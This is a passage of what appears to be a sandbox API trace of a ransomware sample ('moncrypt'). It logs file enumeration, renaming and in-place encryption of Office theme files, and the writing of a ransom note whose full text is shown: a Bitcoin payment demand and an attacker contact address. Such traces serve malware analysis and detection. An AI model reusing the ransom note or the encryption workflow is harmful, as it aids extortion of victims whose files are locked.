returned 0x40 [0051.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a038, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.142] GlobalLock (hMem=0x440004) returned 0x550170 [0051.142] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.142] GlobalUnlock (hMem=0x440004) returned 0 [0051.142] GlobalLock (hMem=0x440004) returned 0x550170 [0051.142] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.142] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.142] GlobalUnlock (hMem=0x440004) returned 0 [0051.142] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.142] GlobalUnlock (hMem=0x44000c) returned 0 [0051.142] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.142] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.142] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0051.142] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.142] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.142] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.142] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.142] GlobalUnlock (hMem=0x44000c) returned 0 [0051.142] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.142] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.142] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.142] GlobalUnlock (hMem=0x44000c) returned 0 [0051.142] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.142] GlobalUnlock (hMem=0x440004) returned 0 [0051.142] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.143] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.143] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0051.144] CloseHandle (hObject=0x18c) returned 1 [0051.144] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\я")) returned 1 [0051.145] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 0x54e240 [0051.145] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.145] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.145] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", dwFileAttributes=0x20) returned 1 [0051.150] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm.moncrypt")) returned 1 [0051.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.150] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.150] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xd613 [0051.150] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.150] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.152] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.152] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.152] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.152] GlobalUnlock (hMem=0x44000c) returned 0 [0051.152] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0051.152] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.153] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.153] GlobalUnlock (hMem=0x44000c) returned 0 [0051.153] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.153] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.153] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.153] GlobalUnlock (hMem=0x440004) returned 0 [0051.153] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.153] GlobalUnlock (hMem=0x44000c) returned 0 [0051.153] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.153] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.153] GlobalUnlock (hMem=0x44000c) returned 0 [0051.153] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.153] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.153] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.153] GlobalUnlock (hMem=0x44000c) returned 0 [0051.153] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.154] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.154] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.154] SetFilePointer (in: hFile=0x18c, lDistanceToMove=54803, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xd613 [0051.154] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.154] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.154] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.165] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.165] CloseHandle (hObject=0x18c) returned 1 [0051.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.166] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.166] CloseHandle (hObject=0x18c) returned 1 [0051.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0051.167] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.167] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.167] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.167] GlobalUnlock (hMem=0x44000c) returned 0 [0051.167] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.167] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.167] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.167] GlobalUnlock (hMem=0x44000c) returned 0 [0051.167] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.167] GlobalUnlock (hMem=0x440004) returned 0 [0051.167] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a048, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.167] GetLastError () returned 0x2 [0051.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.170] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0051.171] CloseHandle (hObject=0x18c) returned 1 [0051.171] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0051.171] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.171] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.171] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.171] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.171] GlobalUnlock (hMem=0x440004) returned 0 [0051.171] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.171] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.171] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.172] GlobalUnlock (hMem=0x440004) returned 0 [0051.172] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.172] GlobalUnlock (hMem=0x44000c) returned 0 [0051.172] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.172] CharLowerBuffW (in: lpsz="COMPASS.INF", cchLength=0xb | out: lpsz="compass.inf") returned 0xb [0051.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.172] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpUsedDefaultChar=0x0) returned 75 [0051.172] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0051.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\COMPASS\\COMPASS.INF", lpUsedDefaultChar=0x0) returned 4 [0051.173] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.173] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.173] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.173] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.173] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.173] GlobalUnlock (hMem=0x44000c) returned 0 [0051.173] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.173] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.173] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.173] GlobalUnlock (hMem=0x44000c) returned 0 [0051.173] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.173] GlobalUnlock (hMem=0x440004) returned 0 [0051.173] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.173] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0051.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 75 [0051.174] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0051.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 4 [0051.174] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, 